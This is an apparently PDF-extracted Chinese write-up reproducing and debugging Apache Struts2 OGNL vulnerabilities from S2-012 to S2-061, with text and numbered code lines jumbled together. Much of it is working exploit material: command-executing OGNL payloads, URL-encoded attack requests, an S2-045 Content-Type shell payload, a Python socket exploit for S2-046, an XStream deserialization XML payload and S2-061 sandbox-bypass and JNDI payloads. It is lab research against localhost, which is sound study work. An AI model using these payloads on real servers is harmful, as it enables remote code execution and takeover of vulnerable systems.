Content-Type: application/x-www-form-urlencoded 7 Content-Length: 7 8 Origin: http://localhost:8082 9 Connection: close 10 Referer: http://localhost:8082/s2_01_war_exploded/index.jsp?name=aaa 11 Cookie: JSESSIONID=87F73BE03B999E74A9E11E562466AA01; UM_distinctid=175f2e14ced80d-00391c626d990b-4c3f2779-190140- 175f2e14cee91a; CNZZDATA1279152423=1639523356-1606094476-%7C1606094476; _jspxcms=e7fd1bb11f1a420d9a3f644e6f1682c3 12 Upgrade-Insecure-Requests: 1 13 private String acceptedParamNames = "[a-zA-Z0-9\\.\\]\\[\\(\\)_']+"; 1 2.4 S2-012 漏洞复现 S2-001 POC 原理分析 这个漏洞的成因其实和前⾯的003、005、009⼤致路径⼀致,其区别点就在于⼊⼝点。这个 漏洞的关键点在于当⽤户传⼊的参数作为了重定向的参数时,其内容会被⼆次解析,并被解释 为Ognl表达式。 这⾥可以直接⽤S2-001中的payload,本身框架没有任何的限制,没有了003 005 009 的正则 限制。 重定向配置如下: name=(#context["xwork.MethodAccessor.denyMethodExecution"]= new java.lang.Boolean(false), #_memberAccess["allowStaticMethodAccess"]= new java.lang.Boolean(true), @java.lang.Runtime@getRuntime().exec('calc')) (meh)&z[(name)('meh')]=true 1 <package name="S2-012" extends="struts-default"> 1 <action name="user" class="com.demo.action.UserAction"> 2 <result name="redirect" type="redirect">/index.jsp?name=${name} </result> 3 <result name="input">/index.jsp</result> 4 <result name="success">/index.jsp</result> 5 </action> 6 这⾥ UserAction 中定义有⼀个 name 变量,当触发 redirect 类型返回时,Struts2 获取使⽤ ${name} 获取其值,在这个过程中会对 name 参数的值执⾏ OGNL 表达式解析,所谓的⼆次 解析为获取⽤户传⼊的name值为第⼀次解析,OGNL为第⼆次解析。 从⽽可以插⼊任意 OGNL 表达式导致命令执⾏。 2.5 S2-013 / 014 漏洞复现 POC: </package> 7 ${(#_memberAccess["allowStaticMethodAccess"]=true,#[email protected]@ge tRuntime().exec('calc').getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[50000],#c.read(#d),#[email protected]@getR esponse().getWriter(),#out.println(#d),#out.close())} 1 GET /s2_01_war_exploded/link.action? sdgssd=%24%7b%28%23%5f%6d%65%6d%62%65%72%41%63%63%65%73%73%5b%22%61%6c%6c% 6f%77%53%74%61%74%69%63%4d%65%74%68%6f%64%41%63%63%65%73%73%22%5d%3d%74%72 %75%65%2c%23%61%3d%40%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%4 0%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%27%63%61%6c%63%27% 29%2e%67%65%74%49%6e%70%75%74%53%74%72%65%61%6d%28%29%2c%23%62%3d%6e%65%77 %20%6a%61%76%61%2e%69%6f%2e%49%6e%70%75%74%53%74%72%65%61%6d%52%65%61%64%6 5%72%28%23%61%29%2c%23%63%3d%6e%65%77%20%6a%61%76%61%2e%69%6f%2e%42%75%66% 66%65%72%65%64%52%65%61%64%65%72%28%23%62%29%2c%23%64%3d%6e%65%77%20%63%68 %61%72%5b%35%30%30%30%30%5d%2c%23%63%2e%72%65%61%64%28%23%64%29%2c%23%6f%7 5%74%3d%40%6f%72%67%2e%61%70%61%63%68%65%2e%73%74%72%75%74%73%32%2e%53%65% 72%76%6c%65%74%41%63%74%69%6f%6e%43%6f%6e%74%65%78%74%40%67%65%74%52%65%73 %70%6f%6e%73%65%28%29%2e%67%65%74%57%72%69%74%65%72%28%29%2c%23%6f%75%74%2 e%70%72%69%6e%74%6c%6e%28%23%64%29%2c%23%6f%75%74%2e%63%6c%6f%73%65%28%29% 29%7d HTTP/1.1 1 Host: localhost:8082 2 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0 3 漏洞分析 index.jsp ⻓这个样⼦ 在S2中s:url和s:a这两个标签都提供了includeParams属性,这个属性主要是⽤于标志是否包含 http请求参数。  none: URL中不包含参数  get:URL中只包含GET型参数  all:URL中包含GET型和POST型参数 ⽽当URL中带有参数的时候,S2会⼆次处理URL,如果参数中包含恶意的Ognl语句,那么就 会按照Ognl语法解析。 直接来到org.apache.struts2.views.util.DefaultUrlHelper#buildParametersString org.apache.struts2.views.util.DefaultUrlHelper#buildParameterSubstring 处理url字符串 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 4 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en- US;q=0.3,en;q=0.2 5 Accept-Encoding: gzip, deflate 6 Referer: http://localhost:8082/s2_01_war_exploded/ 7 Connection: close 8 Cookie: JSESSIONID=300F3E7CF2F6AF9D58219502308B9A9E; UM_distinctid=175f2e14ced80d-00391c626d990b-4c3f2779-190140- 175f2e14cee91a; CNZZDATA1279152423=1639523356-1606094476-%7C1606094476; _jspxcms=e7fd1bb11f1a420d9a3f644e6f1682c3 9 Upgrade-Insecure-Requests: 1 10 Cache-Control: max-age=0 11 <p><s:a id="link1" action="link" includeParams="all">"s:a" tag</s:a></p> 1 <p><s:url id="link2" action="link" includeParams="all">"s:url" tag</s:url> </p> 2 跟进去 最后进⼊org.apache.struts2.views.util.DefaultUrlHelper#translateAndEncode 注意⼀下:TextParseUtil.translateVariables(input, valueStack)就是最终解析OGNL表达式的 地⽅ 命令执⾏ 关于⼆次解析 第⼀次解析标签 将payload识别为OGNL表达式 第⼆次OGNL表达式解析执⾏payload 修复及绕过 013的修复通过限制%{(#exp)},%{exp}被忽略了,这也就是014 最终的修复⽅案translateAndEncode 只保留encode功能 2.6 S2-015 POC 漏洞产⽣于配置了 Action 通配符 *,并将其作为动态值时,解析时会将其内容执⾏ OGNL 表达式,例如: <package name="S2-015" extends="struts-default"> <action name="*" class="com.demo.action.PageAction"> <result>/{1}.jsp</result> </action> </package> 上述配置能让我们访问 name.action 时使⽤ name.jsp 来渲染⻚⾯,但是在提取 name 并解析时,对其执⾏了 OGNL 表达式解析,所以导致命令执⾏。在实践复现的 时候发现,由于 name 值的位置⽐较特殊,⼀些特殊的字符如 / " \ 都⽆法使⽤(转 义也不⾏),所以在利⽤该点进⾏远程命令执⾏时⼀些带有路径的命令可能⽆法执⾏ 成功。 还有需要说明的就是在 Struts 2.3.14.1 - Struts 2.3.14.2 的更新内容中,删除了 SecurityMemberAccess 类中的 setAllowStaticMethodAccess ⽅法,因此在 2.3.14.2 版本以后都不能直接通 过  #_memberAccess['allowStaticMethodAccess']=true  来修改其值达到重获静态⽅法 调⽤的能⼒。 这⾥为了到达执⾏命令的⽬的可以⽤ kxlzx 提到的调⽤动态⽅法 (new java.lang.ProcessBuilder('calc')).start() 来解决,另外还可以借助 Java 反射机制去 间接修改: #context['xwork.MethodAccessor.denyMethodExecution']=false,#m=#_memberAcces s.getClass().getDeclaredField('allowStaticMethodAccess'),#m.setAccessible(true),#m. set(#_memberAccess,true) http://localhost:8080/example/HelloWorld.action?message=${%{1+2}} 1 可以构造 Payload 如下: ${#context['xwork.MethodAccessor.denyMethodExecution']=false,#m=#_memberAcce ss.getClass().getDeclaredField('allowStaticMethodAccess'),#m.setAccessible(true),#m .set(#_memberAccess,true),#[email protected]@toString(@java.lang. Runtime@getRuntime().exec('id').getInputStream()),#q} 2.7 S2-016 在struts2中,DefaultActionMapper类⽀持以"action:"、"redirect:"、"redirectAction:"作 为导航或是重定向前缀,但是这些前缀后⾯同时可以跟OGNL表达式,由于struts2没有对 这些前缀做过滤,导致利⽤OGNL表达式调⽤java静态⽅法执⾏任意系统命令。 所以,访问http://your-ip:8080/index.action?redirect:OGNL表达式即可执⾏OGNL表达 式。 执⾏命令: ${#context["xwork.MethodAccessor.denyMethodExecution"]=false,#f=#_memberAc cess.getClass().getDeclaredField("allowStaticMethodAccess"),#f.setAccessib le(true),#f.set(#_memberAccess,true),#[email protected]@getRuntime().ex ec("calc").getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[5000],#c.read(#d),#genxor=#context.get("com.opensymphony.xwork2.dispa tcher.HttpServletResponse").getWriter(),#genxor.println(#d),#genxor.flush( ),#genxor.close()} 1 2 GET /s2_01_war_exploded/others.action? redirect:%24%7b%23%63%6f%6e%74%65%78%74%5b%22%78%77%6f%72%6b%2e%4d%65%74%6 8%6f%64%41%63%63%65%73%73%6f%72%2e%64%65%6e%79%4d%65%74%68%6f%64%45%78%65% 63%75%74%69%6f%6e%22%5d%3d%66%61%6c%73%65%2c%23%66%3d%23%5f%6d%65%6d%62%65 %72%41%63%63%65%73%73%2e%67%65%74%43%6c%61%73%73%28%29%2e%67%65%74%44%65%6 3%6c%61%72%65%64%46%69%65%6c%64%28%22%61%6c%6c%6f%77%53%74%61%74%69%63%4d% 65%74%68%6f%64%41%63%63%65%73%73%22%29%2c%23%66%2e%73%65%74%41%63%63%65%73 %73%69%62%6c%65%28%74%72%75%65%29%2c%23%66%2e%73%65%74%28%23%5f%6d%65%6d%6 2%65%72%41%63%63%65%73%73%2c%74%72%75%65%29%2c%23%61%3d%40%6a%61%76%61%2e% 6c%61%6e%67%2e%52%75%6e%74%69%6d%65%40%67%65%74%52%75%6e%74%69%6d%65%28%29 %2e%65%78%65%63%28%22%63%61%6c%63%22%29%2e%67%65%74%49%6e%70%75%74%53%74%7 2%65%61%6d%28%29%2c%23%62%3d%6e%65%77%20%6a%61%76%61%2e%69%6f%2e%49%6e%70% 75%74%53%74%72%65%61%6d%52%65%61%64%65%72%28%23%61%29%2c%23%63%3d%6e%65%77 3 2.8 S2-032 漏洞复现 %20%6a%61%76%61%2e%69%6f%2e%42%75%66%66%65%72%65%64%52%65%61%64%65%72%28%2 3%62%29%2c%23%64%3d%6e%65%77%20%63%68%61%72%5b%35%30%30%30%5d%2c%23%63%2e% 72%65%61%64%28%23%64%29%2c%23%67%65%6e%78%6f%72%3d%23%63%6f%6e%74%65%78%74 %2e%67%65%74%28%22%63%6f%6d%2e%6f%70%65%6e%73%79%6d%70%68%6f%6e%79%2e%78%7 7%6f%72%6b%32%2e%64%69%73%70%61%74%63%68%65%72%2e%48%74%74%70%53%65%72%76% 6c%65%74%52%65%73%70%6f%6e%73%65%22%29%2e%67%65%74%57%72%69%74%65%72%28%29 %2c%23%67%65%6e%78%6f%72%2e%70%72%69%6e%74%6c%6e%28%23%64%29%2c%23%67%65%6 e%78%6f%72%2e%66%6c%75%73%68%28%29%2c%23%67%65%6e%78%6f%72%2e%63%6c%6f%73% 65%28%29%7d%0a HTTP/1.1 Host: localhost:8082 4 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0 5 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 6 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en- US;q=0.3,en;q=0.2 7 Accept-Encoding: gzip, deflate 8 Referer: http://localhost:8082/s2_01_war_exploded/ 9 Connection: close 10 Cookie: JSESSIONID=5E8CDF0642287AF580ACD2A831D2BB98; UM_distinctid=175f2e14ced80d-00391c626d990b-4c3f2779-190140- 175f2e14cee91a; CNZZDATA1279152423=1639523356-1606094476-%7C1606094476; _jspxcms=e7fd1bb11f1a420d9a3f644e6f1682c3 11 Upgrade-Insecure-Requests: 1 12 Cache-Control: max-age=0 13 漏洞原理 GET /s2_01_war_exploded/others.action? method:%23_memberAccess%[email protected]@DEFAULT_MEMBER_ACCESS,%23res%3 d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setChar acterEncoding(%23parameters.encoding%5B0%5D),%23w%3d%23res.getWriter(),%23 s%3dnew+java.util.Scanner(@java.lang.Runtime@getRuntime().exec(%23paramete rs.cmd%5B0%5D).getInputStream()).useDelimiter(%23parameters.pp%5B0%5D),%23 str%3d%23s.hasNext()%3f%23s.next()%3a%23parameters.ppp%5B0%5D,%23w.print(% 23str),%23w.close(),1? %23xx:%23request.toString&pp=%5C%5CA&ppp=%20&encoding=UTF-8&cmd=calc HTTP/1.1 1 Host: localhost:8082 2 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0 3 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 4 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en- US;q=0.3,en;q=0.2 5 Accept-Encoding: gzip, deflate 6 Referer: http://localhost:8082/s2_01_war_exploded/ 7 Connection: close 8 Upgrade-Insecure-Requests: 1 9 Cache-Control: max-age=0 10 Struts2在开启了动态⽅法调⽤(Dynamic Method Invocation)的情况下,可以使⽤ method:<name>的⽅式来调⽤名字是<name>的⽅法,⽽这个⽅法名将会进⾏OGNL表达式计 算,导致远程命令执⾏漏洞。 这⾥回头再看下poc   将_memberAccess赋值成DEFAULT_MEMBER_ACCESS是为绕过SecurityMemberAccess为 false的限制 2.9 S2-045 / 046 这⾥我们直接使⽤showcase https://github.com/apache/struts/tree/STRUTS_2_5_10/a pps/showcase 下载下来直接⽤idea打开配置tomcat即可 method:#[email protected]@DEFAULT_MEMBER_ACCESS,#[email protected] ache.struts2.ServletActionContext@getResponse(),#res.setCharacterEncoding( #parameters.encoding[0]),#w=#res.getWriter(),#s=new java.util.Scanner(@java.lang.Runtime@getRuntime().exec(#parameters.cmd[0]) .getInputStream()).useDelimiter(#parameters.pp[0]),#str=#s.hasNext()? #s.next():#parameters.ppp[0],#w.print(#str),#w.close(),1? #xx:#request.toString&pp=\\A&ppp= &encoding=UTF-8&cmd=calc 1 漏洞分析 S2漏洞太多了.....漏洞要跟吐了,直接就看现成的了 ⽹上写的⽐较好的⽂章都是从diff开始讲的,diff发现 从漏洞简述中可以得知是struts在处理 Content-Type 时如果获得未期预的值的话,将会爆 出⼀个异常,在此异常的处理中可能会造成RCE。同时在漏洞的描述中可以得知Struts2在 使⽤基于 Jakarta Multipart 解析器来处理⽂件上传时,可能会造成RCE。 Jakarta Multipart 解析器在Struts2中存在于 org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest 是默认组件之⼀,⾸先把这 ⼀点记录下来。 根据diff所得结果,跟进 validation 的执⾏流程,就如漏洞描述中所述, validation 的调⽤ 位于Struts2的 FileUploadInterceptor 也就是处理⽂件上传的拦截器中。 这⾥有个拦截器的概念,涉及到S2的架构,总之就是请求过来了过滤器堆所有七年跪求都起 到作⽤,主要⽤来堆请求添加、修改或者分派转发⾄Action。 GET /struts2_showcase_war/index HTTP/1.1 1 Host: localhost:8082 2 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0 3 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 4 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en- US;q=0.3,en;q=0.2 5 Accept-Encoding: gzip, deflate 6 Connection: close 7 Content-Type:"%{(#nike='multipart/form-data'). (#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess? (#_memberAccess=#dm): ((#container=#context['com.opensymphony.xwork2.ActionContext.container']). (#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@c lass)).(#ognlUtil.getExcludedPackageNames().clear()). (#ognlUtil.getExcludedClasses().clear()). (#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin= (@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))). (#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)). (#process=#p.start()).(#ros= (@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()) ).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)). (#ros.flush())}" 8 Upgrade-Insecure-Requests: 1 9 这⾥就直接对FileUploadInterceptor下断点来调试,直接断点到错误处理部分, 然后跟进com.opensymphony.xwork2.util.LocalizedTextUtil#findText(java.lang.Class, java.lang.String, java.util.Locale, java.lang.String, java.lang.Object[]) 这⾥有个valueStack,这个就是存储ongl各个节点的⼀个栈 接着进来了com.opensymphony.xwork2.util.LocalizedTextUtil#getDefaultMessage 跟进去 看到了TextParseUtil.translateVariables,跟进 TextParseUtil.translateVariables,这⾥会提取ognl表达式并执⾏ 最后程序在 parser 的evaluate⽅法中执⾏了 ognl表达式。 我此时的调⽤栈 当动态调试此类漏洞时,前往 ognl表达式执⾏的⽅法处下断点调试,⻢上就能⼀⽬了然的看 到漏洞触发的完整调⽤栈 与s2-045类似,046输⼊点在⽂件上传的filename值位置,并需要使⽤\x00截断。 由于需要发送畸形数据包,我们简单使⽤原⽣socket编写payload: evaluate:13, OgnlTextParser (com.opensymphony.xwork2.util) 1 translateVariables:166, TextParseUtil (com.opensymphony.xwork2.util) 2 translateVariables:123, TextParseUtil (com.opensymphony.xwork2.util) 3 translateVariables:45, TextParseUtil (com.opensymphony.xwork2.util) 4 getDefaultMessage:729, LocalizedTextUtil (com.opensymphony.xwork2.util) 5 findText:573, LocalizedTextUtil (com.opensymphony.xwork2.util) 6 findText:393, LocalizedTextUtil (com.opensymphony.xwork2.util) 7 intercept:264, FileUploadInterceptor (org.apache.struts2.interceptor) 8 import socket 1 2 q = b'''------WebKitFormBoundaryXd004BVJN9pBYBL2 3 Content-Disposition: form-data; name="upload"; filename="% {#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHea der('X-Test',233*233)}\x00b" 4 Content-Type: text/plain 5 6 foo 7 ------WebKitFormBoundaryXd004BVJN9pBYBL2--'''.replace(b'\n', b'\r\n') 8 p = b'''POST / HTTP/1.1 9 Host: localhost:8080 10 Upgrade-Insecure-Requests: 1 11 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36 12 2.10 S2-048 048:Apache Struts 2.3.x系列中启⽤了struts2-struts1-plugin插件的版本。拉闸 烦了不想 看你 2.11 S2-052 漏洞复现 将struts-2.5.12\src\apps\⽬录下的rest-showcase导⼊idea,再配置tomcat即可 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 13 Accept-Language: en-US,en;q=0.8,es;q=0.6 14 Connection: close 15 Content-Type: multipart/form-data; boundary=---- WebKitFormBoundaryXd004BVJN9pBYBL2 16 Content-Length: %d 17 18 '''.replace(b'\n', b'\r\n') % (len(q), ) 19 20 with socket.create_connection(('your-ip', '8080'), timeout=5) as conn: 21 conn.send(p + q) 22 print(conn.recv(10240).decode()) 23 GET /struts2_rest_showcase_war/orders.xhtml HTTP/1.1 1 Host: localhost:8082 2 User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) 3 Connection: close 4 Content-Type: application/xml 5 Content-Length: 2363 6 7 <map> 8   <entry> 9     <jdk.nashorn.internal.objects.NativeString> 10       <flags>0</flags> 11       <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data"> 12         <dataHandler> 13           <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource"> 14             <is class="javax.crypto.CipherInputStream"> 15               <cipher class="javax.crypto.NullCipher"> 16                 <initialized>false</initialized> 17                 <opmode>0</opmode> 18                 <serviceIterator class="javax.imageio.spi.FilterIterator"> 19                   <iter class="javax.imageio.spi.FilterIterator"> 20                     <iter class="java.util.Collections$EmptyIterator"/> 21                     <next class="java.lang.ProcessBuilder"> 22                       <command> 23                         <string>calc.exe</string> 24                       </command> 25                       <redirectErrorStream>false</redirectErrorStream> 26                     </next> 27                   </iter> 28                   <filter class="javax.imageio.ImageIO$ContainsFilter"> 29                     <method> 30                       <class>java.lang.ProcessBuilder</class> 31                       <name>start</name> 32                       <parameter-types/> 33                     </method> 34                     <name>foo</name> 35                   </filter> 36                   <next class="string">foo</next> 37                 </serviceIterator> 38                 <lock/> 39               </cipher> 40               <input class="java.lang.ProcessBuilder$NullInputStream"/> 41               <ibuffer></ibuffer> 42               <done>false</done> 43               <ostart>0</ostart> 44               <ofinish>0</ofinish> 45               <closed>false</closed> 46             </is> 47             <consumed>false</consumed> 48           </dataSource> 49           <transferFlavors/> 50         </dataHandler> 51         <dataLen>0</dataLen> 52       </value> 53     </jdk.nashorn.internal.objects.NativeString> 54     <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/> 55   </entry> 56   <entry> 57 漏洞分析 xml反序列化 跟weblogic不⼀样,这个是xsterm,Struts2使⽤REST插件使⽤XStream的实 例xstreamhandler处理反序列化XML时没有进⾏任何过滤,可以导致远程执⾏代码 ⽬前来说xml反序列化有两种,⼀种是XMLDecoder,另外⼀下是使⽤xstream。 触发点直接定位到org.apache.struts2.rest.handler.XStreamHandler#toObject 哦在这之前,还应去看下如何处理Content-Type: application/xml,看着调⽤栈,我们从出 发带你往上推 handler为Xstreamhandler 再往上 org.apache.struts2.rest.DefaultContentTypeHandlerManager#getHandlerForRequest 这⾥获取了contentType 有五种处理,这⾥返回Xstreamhandler     <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/> 58     <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/> 59   </entry> 60 </map> 61 当Content-Type为”application/xml”时,就会调⽤XStreamHandler.toObject(),在 toObject()中调⽤ XStream.fromXML()对xml的内容进⾏反序列化,并且XStream没有对 Reader做任何过滤处理。 发起请求 -> ContentTypeInterceptor判断Content-Type ->若Content- Type:application/xml ->调⽤XStreamHandler.toObject()对xml数据流进⾏反序列化 2.12 S2-057 漏洞复现 环境搭建直接⽤showcase https://codeload.github.com/apache/struts/zip/STRUTS_2_5_16 ${(#ct=#request['struts.valueStack'].context). (#cr=#ct['com.opensymphony.xwork2.ActionContext.container']). (#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)). (#ou.setExcludedClasses('java.lang.Shutdown')). (#ou.setExcludedPackageNames('sun.reflect.')). 1 漏洞分析 参考 廖师傅⽂章 https://paper.seebug.org/682/ D:\java\Struts2\s2_057\showcase\src\main\resources\struts-actionchaining.xml 在这种配置下所有到actionChain1.action的请求的返回结果都会指向register2,并且执⾏链 会到ServletActionRedirectResult.execute⽅法中 (#[email protected]@DEFAULT_MEMBER_ACCESS).(#ct.setMemberAccess(#dm)). (#[email protected]@getRuntime().exec('calc.exe'))} 2 GET /struts2_showcase_war/$%7B(%23ct=%23request['struts.valueStack'].context). (%23cr=%23ct['com.opensymphony.xwork2.ActionContext.container']). (%23ou=%23cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)). (%23ou.setExcludedClasses('java.lang.Shutdown')). (%23ou.setExcludedPackageNames('sun.reflect.')). (%[email protected]@DEFAULT_MEMBER_ACCESS). (%23ct.setMemberAccess(%23dm)). (%[email protected]@getRuntime().exec('calc.exe'))%7D/actionChain1. action HTTP/1.1 3 Host: localhost:8082 4 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0 5 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 6 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en- US;q=0.3,en;q=0.2 7 Accept-Encoding: gzip, deflate 8 Connection: close 9 Upgrade-Insecure-Requests: 1 10 <struts> 1 <package name="actionchaining" extends="struts-default" > 2 <action name="actionChain1" class="org.apache.struts2.showcase.actionchaining.ActionChain1"> 3 <result type="redirectAction"> 4 <param name="actionName">register2</param> 5 </result> 6 </action> 7 </package> 8 </struts> 9 这下我们就知道了补丁中为什么要净化namespace的原因,继续跟踪namespace的去向,执⾏ 链会到ServletActionRedirectResult的⽗类的⽗类 org.apache.struts2.result.StrutsResultSupport#execute⽅法中 继续跟进 this.conditionalParse 看到了很熟悉的TextParseUtil.translateVariables,执⾏表达式,但是在这⾥正题出现了,沙 箱与⿊名单 translateVariables有⼀系列的重载,最终我们到了 com.opensymphony.xwork2.util.TextParseUtil.ParsedValueEvaluator#evaluate 2.13 S2-061 这篇⽂章将OGNL沙箱的绕过写的真的很详细 https://www.anquanke.com/post/id/169735#h3-1 接下来重点分析061 这个事JNDI的POC 主要参考梁师傅⽂章 https://www.cnblogs.com/potatsoSec/p/14111163.html POST /SimpleStruts_war_exploded/S2061.action HTTP/1.1 1 Host: localhost:8083 2 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 3 Accept-Encoding: gzip, deflate 4 Accept-Language: zh-CN,zh;q=0.9 5 Cookie: JSESSIONID=0DD7F8E6B11D062C574037318DC36C2D 6 Content-Type: multipart/form-data; boundary=---- WebKitFormBoundaryl7d1B1aGsV2wcZwF 7 Content-Length: 390 8 9 ------WebKitFormBoundaryl7d1B1aGsV2wcZwF 10 Content-Disposition: form-data; name="id" 11 12 %{('Powered_by_Unicode_Potats0,enjoy_it').(#UnicodeSec = #application['org.apache.tomcat.InstanceManager']). (#rw=#UnicodeSec.newInstance('com.sun.rowset.JdbcRowSetImpl')). (#rw.setDataSourceName('ldap://127.0.0.1:9999/UnicodeSec')). (#rw.getDatabaseMetaData())} 13 这个是CC 的POC 已知Ongl沙盒的限制如下  ⽆法new⼀个对象  ⽆法调⽤⿊名单类和包的⽅法、属性  ⽆法调⽤静态⽅法  ⽆法直接执⾏命令  ⽆法调⽤⽅法属性⾮public的⽅法 ⽬前⿊名单⻓这样 ------WebKitFormBoundaryl7d1B1aGsV2wcZwF-- 14 POST /SimpleStruts_war_exploded/S2061.action HTTP/1.1 1 Host: localhost:8083 2 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 3 Accept-Encoding: gzip, deflate 4 Accept-Language: zh-CN,zh;q=0.9 5 Cookie: JSESSIONID=0DD7F8E6B11D062C574037318DC36C2D 6 Content-Type: multipart/form-data; boundary=---- WebKitFormBoundaryl7d1B1aGsV2wcZwF 7 Content-Length: 390 8 9 ------WebKitFormBoundaryl7d1B1aGsV2wcZwF 10 Content-Disposition: form-data; name="id" 11 12 %{('Powered_by_Unicode_Potats0,enjoy_it').(#UnicodeSec = #application['org.apache.tomcat.InstanceManager']). (#potats0=#UnicodeSec.newInstance('org.apache.commons.collections.BeanMap' )).(#stackvalue=#attr['struts.valueStack']). (#potats0.setBean(#stackvalue)).(#context=#potats0.get('context')). (#potats0.setBean(#context)).(#sm=#potats0.get('memberAccess')). (#emptySet=#UnicodeSec.newInstance('java.util.HashSet')). (#potats0.setBean(#sm)).(#potats0.put('excludedClasses',#emptySet)). (#potats0.put('excludedPackageNames',#emptySet)). (#exec=#UnicodeSec.newInstance('freemarker.template.utility.Execute')). (#cmd={'whoami'}).(#res=#exec.exec(#cmd))} 13 ------WebKitFormBoundaryl7d1B1aGsV2wcZwF-- 14 个⼈认为061关键的绕过点为绕过了new创建对象 在context的application中,org.apache.tomcat.SimpleInstanceManager的实例代码如下, 可以实例化⼀个⽆参构造函数。 然后将⿊名单置空,剩下和别的思路⼀样了,这个是CC的思路 JNDI注⼊POC更简单直接,只需要⼀个 org.apache.tomcat.InstanceManager 那么问题来了,更新了最新的⿊名单,还有没有可能绕过去呢? ⾸先第⼀个思路想到的是,找⼀个类似于org.apache.tomcat.InstanceManager 中的 newinstance⽅法,我先本地构造了⼀个evil类 @Override 1 public Object newInstance(String className) throws IllegalAccessException, 2 InvocationTargetException, NamingException, InstantiationException, 3 ClassNotFoundException, NoSuchMethodException { 4 Class<?> clazz = Thread.currentThread().getContextClassLoader().loadClass(className); 5 return prepareInstance(clazz.getConstructor().newInstance()); 6 } 7 %{('Powered_by_Unicode_Potats0,enjoy_it').(#UnicodeSec = #application['org.apache.tomcat.InstanceManager']). (#rw=#UnicodeSec.newInstance('com.sun.rowset.JdbcRowSetImpl')). (#rw.setDataSourceName('ldap://127.0.0.1:9999/UnicodeSec')). (#rw.getDatabaseMetaData())} 1 但是问题来了,我怎么获取到这个类.......,沙箱的防御机制禁⽌了new⼀个类,我们回头看 POC中是怎么样获取的,#UnicodeSec = #application['org.apache.tomcat.InstanceManager']) 通过#application,以我对OGNL的了解,#后⾯还能跟别的东⻄,然后请教了梁师傅,在 com.opensymphony.xwork2.util.TextParseUtil#translateVariables(char[], java.lang.String, com.opensymphony.xwork2.util.ValueStack, java.lang.Class, com.opensymphony.xwork2.util.TextParseUtil.ParsedValueEvaluator, int)下断点,查看 context,这些是我们可⽤的 这⾥将attr打印出来 AttributeMap {request= {javax.servlet.forward.context_path=/SimpleStruts_war_exploded, javax.servlet.forward.mapping=org.apache.catalina.core.ApplicationMappingI mpl@43845cde, javax.servlet.forward.request_uri=/SimpleStruts_war_exploded/S2061.action, struts.actionMapping=ActionMapping{name='S2061', namespace='/', method='null', extension='action', params={}, result=null}, __cleanup_recursion_counter=1, javax.servlet.forward.servlet_path=/S2061.action, 1 struts.request_uri=/SimpleStruts_war_exploded/S2061.action, struts.valueStack=com.opensymphony.xwork2.ognl.OgnlValueStack@48f1dd70, struts.view_uri=S2061.jsp}, session={}, application= {.freemarker.JspTaglibs=freemarker.ext.jsp.TaglibFactory@4e47b1ff, org.apache.jasper.compiler.TldCache=org.apache.jasper.compiler.TldCache@16 596916, org.apache.tomcat.InstanceManager=org.apache.catalina.core.DefaultInstance Manager@34159831, org.apache.catalina.webappVersion=, 